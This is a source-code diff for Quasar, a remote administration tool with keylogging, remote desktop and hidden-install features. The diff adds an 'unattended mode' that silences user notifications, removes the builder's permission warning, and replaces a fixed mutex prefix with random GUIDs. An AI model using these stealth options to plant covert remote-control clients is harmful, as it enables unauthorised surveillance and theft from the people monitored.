diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 01a545f4..025d1b3e 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -37,6 +37,7 @@ public static class Settings public static bool HIDEINSTALLSUBDIRECTORY = false; public static string INSTALLPATH = ""; public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = true; public static bool Initialize() { @@ -67,6 +68,7 @@ public static bool Initialize() public static bool HIDEINSTALLSUBDIRECTORY = false; public static string INSTALLPATH = ""; public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = false; public static bool Initialize() { diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs index d8c9e23c..49a0ba50 100644 --- a/Quasar.Client/Messages/FileManagerHandler.cs +++ b/Quasar.Client/Messages/FileManagerHandler.cs @@ -16,7 +16,7 @@ namespace Quasar.Client.Messages { - public class FileManagerHandler : IMessageProcessor, IDisposable + public class FileManagerHandler : NotificationMessageProcessor, IDisposable { private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads @@ -52,7 +52,7 @@ private void OnClientStateChange(Networking.Client s, bool connected) } } - public bool CanExecute(IMessage message) => message is GetDrives || + public override bool CanExecute(IMessage message) => message is GetDrives || message is GetDirectory || message is FileTransferRequest || message is FileTransferCancel || @@ -60,9 +60,9 @@ private void OnClientStateChange(Networking.Client s, bool connected) message is DoPathDelete || message is DoPathRename; - public bool CanExecuteFrom(ISender sender) => true; + public override bool CanExecuteFrom(ISender sender) => true; - public void Execute(ISender sender, IMessage message) + public override void Execute(ISender sender, IMessage message) { switch (message) { @@ -229,6 +229,7 @@ private void Execute(ISender client, FileTransferRequest message) using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read)) { _activeTransfers[message.Id] = srcFile; + OnReport("File upload started"); foreach (var chunk in srcFile) { if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id)) @@ -301,6 +302,7 @@ private void Execute(ISender client, FileTransferChunk message) } _activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write); + OnReport("File download started"); } if (!_activeTransfers.ContainsKey(message.Id)) diff --git a/Quasar.Client/Messages/NotificationMessageProcessor.cs b/Quasar.Client/Messages/NotificationMessageProcessor.cs new file mode 100644 index 00000000..d02966b4 --- /dev/null +++ b/Quasar.Client/Messages/NotificationMessageProcessor.cs @@ -0,0 +1,11 @@ +using Quasar.Common.Messages; + +namespace Quasar.Client.Messages +{ + public abstract class NotificationMessageProcessor : MessageProcessorBase + { + protected NotificationMessageProcessor() : base(true) + { + } + } +} diff --git a/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar.Client/Messages/RemoteDesktopHandler.cs index 25cf2286..f4eb63ec 100644 --- a/Quasar.Client/Messages/RemoteDesktopHandler.cs +++ b/Quasar.Client/Messages/RemoteDesktopHandler.cs @@ -12,18 +12,18 @@ namespace Quasar.Client.Messages { - public class RemoteDesktopHandler : IMessageProcessor, IDisposable + public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable { private UnsafeStreamCodec _streamCodec; - public bool CanExecute(IMessage message) => message is GetDesktop || + public override bool CanExecute(IMessage message) => message is GetDesktop || message is DoMouseEvent || message is DoKeyboardEvent || message is GetMonitors; - public bool CanExecuteFrom(ISender sender) => true; + public override bool CanExecuteFrom(ISender sender) => true; - public void Execute(ISender sender, IMessage message) + public override void Execute(ISender sender, IMessage message) { switch (message) { @@ -52,8 +52,14 @@ private void Execute(ISender client, GetDesktop message) if (_streamCodec == null) _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); - if (message.CreateNew || _streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex - || _streamCodec.Resolution != resolution) + if (message.CreateNew) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + OnReport("Remote desktop session started"); + } + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) { _streamCodec?.Dispose(); diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index 0f4a2ebc..6ddad6e5 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -1,20 +1,89 @@ -using System.Net; +using Quasar.Client.IO; +using System; +using System.Diagnostics; +using System.Net; +using System.Threading; using System.Windows.Forms; namespace Quasar.Client { internal static class Program { + [STAThread] private static void Main(string[] args) { // enable TLS 1.2 ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + // Set the unhandled exception mode to force all Windows Forms errors to go through our handler + Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); + + // Add the event handler for handling UI thread exceptions + Application.ThreadException += HandleThreadException; + + // Add the event handler for handling non-UI thread exceptions + AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; + Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); - using (var app = new QuasarApplication()) + Application.Run(new QuasarApplication()); + } + + private static void HandleThreadException(object sender, ThreadExceptionEventArgs e) + { + Debug.WriteLine(e); + try { - app.Run(); + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } + } + + /// + /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again. + /// + /// The source of the unhandled exception event. + /// The exception event arguments. + private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) + { + if (e.IsTerminating) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } } } } diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs index 55c411c4..ba575df7 100644 --- a/Quasar.Client/QuasarApplication.cs +++ b/Quasar.Client/QuasarApplication.cs @@ -1,5 +1,4 @@ using Quasar.Client.Config; -using Quasar.Client.IO; using Quasar.Client.Logging; using Quasar.Client.Messages; using Quasar.Client.Networking; @@ -12,6 +11,9 @@ using System; using System.Collections.Generic; using System.Diagnostics; +using System.Drawing; +using System.Reflection; +using System.Threading; using System.Windows.Forms; namespace Quasar.Client @@ -19,7 +21,7 @@ namespace Quasar.Client /// /// The client application which handles basic bootstrapping of the message processors and background tasks. /// - public class QuasarApplication : IDisposable + public class QuasarApplication : Form { /// /// A system-wide mutex that ensures that only one instance runs at a time. @@ -51,13 +53,48 @@ public class QuasarApplication : IDisposable /// private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + /// + /// Notification icon used to show notifications in the taskbar. + /// + private readonly NotifyIcon _notifyIcon; + /// /// Initializes a new instance of the class. /// public QuasarApplication() { - AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; _messageProcessors = new List(); + _notifyIcon = new NotifyIcon(); + } + + /// + /// Starts the application. + /// + /// An System.EventArgs that contains the event data. + protected override void OnLoad(EventArgs e) + { + Visible = false; + ShowInTaskbar = false; + Run(); + base.OnLoad(e); + } + + /// + /// Initializes the notification icon. + /// + private void InitializeNotifyicon() + { + _notifyIcon.Text = "Quasar Client\nNo connection"; + _notifyIcon.Visible = true; + try + { + _notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + _notifyIcon.Icon = SystemIcons.Application; + } } /// @@ -66,12 +103,14 @@ public QuasarApplication() public void Run() { // decrypt and verify the settings - if (!Settings.Initialize()) return; + if (!Settings.Initialize()) + Application.Exit(); ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // check if process with same mutex is already running on system - if (!ApplicationMutex.CreatedNew) return; + if (!ApplicationMutex.CreatedNew) + Application.Exit(); FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); @@ -85,6 +124,7 @@ public void Run() try { installer.Install(); + Application.Exit(); } catch (Exception e) { @@ -103,6 +143,9 @@ public void Run() Debug.WriteLine(e); } + if (!Settings.UNATTENDEDMODE) + InitializeNotifyicon(); + if (Settings.ENABLELOGGER) { _keyloggerService = new KeyloggerService(); @@ -111,52 +154,35 @@ public void Run() var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + _connectClient.ClientState += ConnectClientOnClientState; InitializeMessageProcessors(_connectClient); _userActivityDetection = new ActivityDetection(_connectClient); _userActivityDetection.Start(); - _connectClient.ConnectLoop(); + new Thread(() => + { + // Start connection loop on new thread and dispose application once client exits. + // This is required to keep the UI thread responsive and run the message loop. + _connectClient.ConnectLoop(); + Application.Exit(); + }).Start(); } } - /// - /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again. - /// - /// The source of the unhandled exception event. - /// The exception event arguments. - private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) + private void ConnectClientOnClientState(Networking.Client s, bool connected) { - if (e.IsTerminating) - { - Debug.WriteLine(e); - try - { - string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); - - ProcessStartInfo startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); - } - catch (Exception exception) - { - Debug.WriteLine(exception); - } - finally - { - Environment.Exit(0); - } - } + if (connected) + _notifyIcon.Text = "Quasar Client\nConnection established"; + else + _notifyIcon.Text = "Quasar Client\nNo connection"; } /// /// Adds all message processors to and registers them in the . /// /// The client which handles the connection. + /// Always initialize from UI thread. private void InitializeMessageProcessors(QuasarClient client) { _messageProcessors.Add(new ClientServicesHandler(this, client)); @@ -176,7 +202,11 @@ private void InitializeMessageProcessors(QuasarClient client) _messageProcessors.Add(new WebsiteVisitorHandler()); foreach (var msgProc in _messageProcessors) + { MessageHandler.Register(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged += ShowNotification; + } } /// @@ -187,25 +217,22 @@ private void CleanupMessageProcessors() foreach (var msgProc in _messageProcessors) { MessageHandler.Unregister(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged -= ShowNotification; if (msgProc is IDisposable disposableMsgProc) disposableMsgProc.Dispose(); } } - /// - /// Releases all resources used by this . - /// - public void Dispose() + private void ShowNotification(object sender, string value) { - Dispose(true); - GC.SuppressFinalize(this); + if (Settings.UNATTENDEDMODE) + return; + + _notifyIcon.ShowBalloonTip(4000, "Quasar Client", value, ToolTipIcon.Info); } - /// - /// Releases all allocated message processors, services and other resources. - /// - /// True if called from , false if called from the finalizer. - protected virtual void Dispose(bool disposing) + protected override void Dispose(bool disposing) { if (disposing) { @@ -214,7 +241,10 @@ protected virtual void Dispose(bool disposing) _userActivityDetection?.Dispose(); ApplicationMutex?.Dispose(); _connectClient?.Dispose(); + _notifyIcon.Visible = false; + _notifyIcon.Dispose(); } + base.Dispose(disposing); } } } diff --git a/Quasar.Common/Helpers/StringHelper.cs b/Quasar.Common/Helpers/StringHelper.cs index 9ce861d4..e6f9ccce 100644 --- a/Quasar.Common/Helpers/StringHelper.cs +++ b/Quasar.Common/Helpers/StringHelper.cs @@ -35,15 +35,6 @@ public static string GetRandomString(int length) return randomName.ToString(); } - /// - /// Gets a random mutex. - /// - /// A random mutex. - public static string GetRandomMutex() - { - return "QSR_MUTEX_" + GetRandomString(18); - } - /// /// Gets the human readable file size for a given size. /// diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs index 69963e10..822dd989 100644 --- a/Quasar.Server/Build/ClientBuilder.cs +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -1,7 +1,6 @@ using Mono.Cecil; using Mono.Cecil.Cil; using Quasar.Common.Cryptography; -using Quasar.Common.Helpers; using Quasar.Server.Models; using System; using System.Security.Cryptography; @@ -170,6 +169,9 @@ private void WriteSettings(AssemblyDefinition asmDef) case 6: // HideInstallSubdirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); break; + case 7: // UnattendedMode + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UnattendedMode)); + break; } bools++; } @@ -220,4 +222,4 @@ private sbyte GetSpecialFolder(int installPath) } } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Build/Renamer.cs b/Quasar.Server/Build/Renamer.cs index 76f0dfb3..fe9ef528 100644 --- a/Quasar.Server/Build/Renamer.cs +++ b/Quasar.Server/Build/Renamer.cs @@ -57,7 +57,7 @@ public bool Perform() private void RenameInType(TypeDefinition typeDef) { - if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") /* || typeDef.HasInterfaces */) + if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") || typeDef.IsEnum /* || typeDef.HasInterfaces */) return; _typeOverloader.GiveName(typeDef); diff --git a/Quasar.Server/Forms/FrmBuilder.Designer.cs b/Quasar.Server/Forms/FrmBuilder.Designer.cs index 17951e42..8a36b265 100644 --- a/Quasar.Server/Forms/FrmBuilder.Designer.cs +++ b/Quasar.Server/Forms/FrmBuilder.Designer.cs @@ -43,6 +43,10 @@ private void InitializeComponent() this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.builderTabs = new Quasar.Server.Controls.DotNetBarTabControl(); this.generalPage = new System.Windows.Forms.TabPage(); + this.label3 = new System.Windows.Forms.Label(); + this.chkUnattendedMode = new System.Windows.Forms.CheckBox(); + this.line2 = new Quasar.Server.Controls.Line(); + this.label2 = new System.Windows.Forms.Label(); this.label9 = new System.Windows.Forms.Label(); this.line6 = new Quasar.Server.Controls.Line(); this.label8 = new System.Windows.Forms.Label(); @@ -114,7 +118,7 @@ private void InitializeComponent() this.lblCopyright = new System.Windows.Forms.Label(); this.lblTrademarks = new System.Windows.Forms.Label(); this.txtCopyright = new System.Windows.Forms.TextBox(); - this.surveillanceTab = new System.Windows.Forms.TabPage(); + this.monitoringTab = new System.Windows.Forms.TabPage(); this.chkHideLogDirectory = new System.Windows.Forms.CheckBox(); this.txtLogDirectoryName = new System.Windows.Forms.TextBox(); this.lblLogDirectory = new System.Windows.Forms.Label(); @@ -132,7 +136,7 @@ private void InitializeComponent() this.installationPage.SuspendLayout(); this.assemblyPage.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit(); - this.surveillanceTab.SuspendLayout(); + this.monitoringTab.SuspendLayout(); this.SuspendLayout(); // // btnBuild @@ -224,7 +228,7 @@ private void InitializeComponent() this.builderTabs.Controls.Add(this.connectionPage); this.builderTabs.Controls.Add(this.installationPage); this.builderTabs.Controls.Add(this.assemblyPage); - this.builderTabs.Controls.Add(this.surveillanceTab); + this.builderTabs.Controls.Add(this.monitoringTab); this.builderTabs.Dock = System.Windows.Forms.DockStyle.Top; this.builderTabs.ItemSize = new System.Drawing.Size(44, 136); this.builderTabs.Location = new System.Drawing.Point(0, 0); @@ -238,6 +242,10 @@ private void InitializeComponent() // generalPage // this.generalPage.BackColor = System.Drawing.SystemColors.Control; + this.generalPage.Controls.Add(this.label3); + this.generalPage.Controls.Add(this.chkUnattendedMode); + this.generalPage.Controls.Add(this.line2); + this.generalPage.Controls.Add(this.label2); this.generalPage.Controls.Add(this.label9); this.generalPage.Controls.Add(this.line6); this.generalPage.Controls.Add(this.label8); @@ -256,6 +264,45 @@ private void InitializeComponent() this.generalPage.TabIndex = 4; this.generalPage.Text = "Basic Settings"; // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(17, 214); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(354, 26); + this.label3.TabIndex = 24; + this.label3.Text = "Activating the unattended mode allows remote control of the client\r\nwithout user " + + "interaction."; + // + // chkUnattendedMode + // + this.chkUnattendedMode.AutoSize = true; + this.chkUnattendedMode.Location = new System.Drawing.Point(20, 252); + this.chkUnattendedMode.Name = "chkUnattendedMode"; + this.chkUnattendedMode.Size = new System.Drawing.Size(157, 17); + this.chkUnattendedMode.TabIndex = 23; + this.chkUnattendedMode.Text = "Enable unattended mode"; + this.chkUnattendedMode.UseVisualStyleBackColor = true; + this.chkUnattendedMode.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // line2 + // + this.line2.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line2.Location = new System.Drawing.Point(115, 196); + this.line2.Name = "line2"; + this.line2.Size = new System.Drawing.Size(270, 13); + this.line2.TabIndex = 22; + this.line2.TabStop = false; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(8, 196); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(101, 13); + this.label2.TabIndex = 21; + this.label2.Text = "Unattended mode"; + // // label9 // this.label9.AutoSize = true; @@ -269,7 +316,7 @@ private void InitializeComponent() // line6 // this.line6.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; - this.line6.Location = new System.Drawing.Point(83, 78); + this.line6.Location = new System.Drawing.Point(85, 78); this.line6.Name = "line6"; this.line6.Size = new System.Drawing.Size(300, 13); this.line6.TabIndex = 20; @@ -286,9 +333,9 @@ private void InitializeComponent() // // txtTag // - this.txtTag.Location = new System.Drawing.Point(182, 40); + this.txtTag.Location = new System.Drawing.Point(130, 40); this.txtTag.Name = "txtTag"; - this.txtTag.Size = new System.Drawing.Size(203, 22); + this.txtTag.Size = new System.Drawing.Size(255, 22); this.txtTag.TabIndex = 3; this.txtTag.TextChanged += new System.EventHandler(this.HasChangedSetting); // @@ -306,16 +353,16 @@ private void InitializeComponent() this.lblTag.AutoSize = true; this.lblTag.Location = new System.Drawing.Point(17, 43); this.lblTag.Name = "lblTag"; - this.lblTag.Size = new System.Drawing.Size(60, 13); + this.lblTag.Size = new System.Drawing.Size(61, 13); this.lblTag.TabIndex = 2; this.lblTag.Text = "Client Tag:"; // // txtMutex // - this.txtMutex.Location = new System.Drawing.Point(182, 130); + this.txtMutex.Location = new System.Drawing.Point(130, 130); this.txtMutex.MaxLength = 64; this.txtMutex.Name = "txtMutex"; - this.txtMutex.Size = new System.Drawing.Size(201, 22); + this.txtMutex.Size = new System.Drawing.Size(253, 22); this.txtMutex.TabIndex = 7; this.txtMutex.TextChanged += new System.EventHandler(this.HasChangedSetting); // @@ -505,7 +552,7 @@ private void InitializeComponent() this.lblDelay.AutoSize = true; this.lblDelay.Location = new System.Drawing.Point(17, 182); this.lblDelay.Name = "lblDelay"; - this.lblDelay.Size = new System.Drawing.Size(199, 13); + this.lblDelay.Size = new System.Drawing.Size(200, 13); this.lblDelay.TabIndex = 9; this.lblDelay.Text = "Time to wait between reconnect tries:"; // @@ -974,7 +1021,7 @@ private void InitializeComponent() this.lblTrademarks.AutoSize = true; this.lblTrademarks.Location = new System.Drawing.Point(17, 159); this.lblTrademarks.Name = "lblTrademarks"; - this.lblTrademarks.Size = new System.Drawing.Size(67, 13); + this.lblTrademarks.Size = new System.Drawing.Size(68, 13); this.lblTrademarks.TabIndex = 9; this.lblTrademarks.Text = "Trademarks:"; // @@ -986,20 +1033,20 @@ private void InitializeComponent() this.txtCopyright.TabIndex = 8; this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting); // - // surveillanceTab + // monitoringTab // - this.surveillanceTab.BackColor = System.Drawing.SystemColors.Control; - this.surveillanceTab.Controls.Add(this.chkHideLogDirectory); - this.surveillanceTab.Controls.Add(this.txtLogDirectoryName); - this.surveillanceTab.Controls.Add(this.lblLogDirectory); - this.surveillanceTab.Controls.Add(this.line10); - this.surveillanceTab.Controls.Add(this.label14); - this.surveillanceTab.Controls.Add(this.chkKeylogger); - this.surveillanceTab.Location = new System.Drawing.Point(140, 4); - this.surveillanceTab.Name = "surveillanceTab"; - this.surveillanceTab.Size = new System.Drawing.Size(391, 376); - this.surveillanceTab.TabIndex = 3; - this.surveillanceTab.Text = "Surveillance Settings"; + this.monitoringTab.BackColor = System.Drawing.SystemColors.Control; + this.monitoringTab.Controls.Add(this.chkHideLogDirectory); + this.monitoringTab.Controls.Add(this.txtLogDirectoryName); + this.monitoringTab.Controls.Add(this.lblLogDirectory); + this.monitoringTab.Controls.Add(this.line10); + this.monitoringTab.Controls.Add(this.label14); + this.monitoringTab.Controls.Add(this.chkKeylogger); + this.monitoringTab.Location = new System.Drawing.Point(140, 4); + this.monitoringTab.Name = "monitoringTab"; + this.monitoringTab.Size = new System.Drawing.Size(391, 376); + this.monitoringTab.TabIndex = 3; + this.monitoringTab.Text = "Monitoring Settings"; // // chkHideLogDirectory // @@ -1033,9 +1080,9 @@ private void InitializeComponent() // line10 // this.line10.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; - this.line10.Location = new System.Drawing.Point(72, 5); + this.line10.Location = new System.Drawing.Point(78, 5); this.line10.Name = "line10"; - this.line10.Size = new System.Drawing.Size(308, 13); + this.line10.Size = new System.Drawing.Size(302, 13); this.line10.TabIndex = 41; this.line10.TabStop = false; // @@ -1044,9 +1091,9 @@ private void InitializeComponent() this.label14.AutoSize = true; this.label14.Location = new System.Drawing.Point(6, 5); this.label14.Name = "label14"; - this.label14.Size = new System.Drawing.Size(68, 13); + this.label14.Size = new System.Drawing.Size(66, 13); this.label14.TabIndex = 3; - this.label14.Text = "Surveillance"; + this.label14.Text = "Monitoring"; // // chkKeylogger // @@ -1092,8 +1139,8 @@ private void InitializeComponent() this.assemblyPage.ResumeLayout(false); this.assemblyPage.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit(); - this.surveillanceTab.ResumeLayout(false); - this.surveillanceTab.PerformLayout(); + this.monitoringTab.ResumeLayout(false); + this.monitoringTab.PerformLayout(); this.ResumeLayout(false); } @@ -1150,7 +1197,7 @@ private void InitializeComponent() private System.Windows.Forms.TabPage connectionPage; private System.Windows.Forms.TabPage installationPage; private System.Windows.Forms.TabPage assemblyPage; - private System.Windows.Forms.TabPage surveillanceTab; + private System.Windows.Forms.TabPage monitoringTab; private System.Windows.Forms.ListBox lstHosts; private System.Windows.Forms.ContextMenuStrip contextMenuStrip; private System.Windows.Forms.Button btnAddHost; @@ -1188,5 +1235,9 @@ private void InitializeComponent() private System.Windows.Forms.NumericUpDown numericUpDownDelay; private System.Windows.Forms.NumericUpDown numericUpDownPort; private System.Windows.Forms.CheckBox chkHideSubDirectory; + private System.Windows.Forms.CheckBox chkUnattendedMode; + private Line line2; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; } } diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs index 083abe0b..0187f736 100644 --- a/Quasar.Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -1,6 +1,6 @@ -using Quasar.Common.Helpers; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; using Quasar.Server.Build; -using Quasar.Server.Helper; using Quasar.Server.Models; using System; using System.Collections.Generic; @@ -11,7 +11,6 @@ using System.Text.RegularExpressions; using System.Threading; using System.Windows.Forms; -using Quasar.Common.DNS; namespace Quasar.Server.Forms { @@ -38,6 +37,7 @@ private void LoadProfile(string profileName) txtTag.Text = profile.Tag; numericUpDownDelay.Value = profile.Delay; txtMutex.Text = profile.Mutex; + chkUnattendedMode.Checked = profile.UnattendedMode; chkInstall.Checked = profile.InstallClient; txtInstallName.Text = profile.InstallName; GetInstallPath(profile.InstallPath).Checked = true; @@ -72,6 +72,7 @@ private void SaveProfile(string profileName) profile.Hosts = _hostsConverter.ListToRawHosts(_hosts); profile.Delay = (int) numericUpDownDelay.Value; profile.Mutex = txtMutex.Text; + profile.UnattendedMode = chkUnattendedMode.Checked; profile.InstallClient = chkInstall.Checked; profile.InstallName = txtInstallName.Text; profile.InstallPath = GetInstallPath(); @@ -184,7 +185,7 @@ private void btnMutex_Click(object sender, EventArgs e) { HasChanged(); - txtMutex.Text = StringHelper.GetRandomMutex(); + txtMutex.Text = Guid.NewGuid().ToString(); } private void chkInstall_CheckedChanged(object sender, EventArgs e) @@ -256,6 +257,7 @@ private BuildOptions GetBuildOptions() options.Tag = txtTag.Text; options.Mutex = txtMutex.Text; + options.UnattendedMode = chkUnattendedMode.Checked; options.RawHosts = _hostsConverter.ListToRawHosts(_hosts); options.Delay = (int) numericUpDownDelay.Value; options.IconPath = txtIconPath.Text; @@ -385,7 +387,7 @@ private void BuildClient(object o) this.Invoke((MethodInvoker) delegate { MessageBox.Show(this, - $"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!", + $"Successfully built client! Saved to:\\{options.OutputPath}", "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); }); } diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index d2b75e43..9ef07435 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -438,7 +438,7 @@ private void ShowPopup(Client c) { if (c == null || c.Value == null) return; - notifyIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), + notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info); }); @@ -492,7 +492,7 @@ private void uninstallToolStripMenuItem_Click(object sender, EventArgs e) if ( MessageBox.Show( string.Format( - "Are you sure you want to uninstall the client on {0} computer\\s?\nThe clients won't come back!", + "Are you sure you want to uninstall the client on {0} computer\\s?", lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) { diff --git a/Quasar.Server/Models/BuildOptions.cs b/Quasar.Server/Models/BuildOptions.cs index 7d6455fb..07f90a0f 100644 --- a/Quasar.Server/Models/BuildOptions.cs +++ b/Quasar.Server/Models/BuildOptions.cs @@ -21,5 +21,6 @@ public class BuildOptions public string LogDirectoryName { get; set; } public bool HideLogDirectory { get; set; } public bool HideInstallSubdirectory { get; set; } + public bool UnattendedMode { get; set; } } } diff --git a/Quasar.Server/Models/BuilderProfile.cs b/Quasar.Server/Models/BuilderProfile.cs index fa9d4d93..8d074f05 100644 --- a/Quasar.Server/Models/BuilderProfile.cs +++ b/Quasar.Server/Models/BuilderProfile.cs @@ -1,5 +1,4 @@ -using Quasar.Common.Helpers; -using System; +using System; using System.IO; using System.Windows.Forms; using System.Xml; @@ -51,7 +50,7 @@ public string Mutex { get { - return ReadValueSafe("Mutex", StringHelper.GetRandomMutex()); + return ReadValueSafe("Mutex", Guid.NewGuid().ToString()); } set { @@ -59,6 +58,18 @@ public string Mutex } } + public bool UnattendedMode + { + get + { + return bool.Parse(ReadValueSafe("UnattendedMode", "False")); + } + set + { + WriteValue("UnattendedMode", value.ToString()); + } + } + public bool InstallClient { get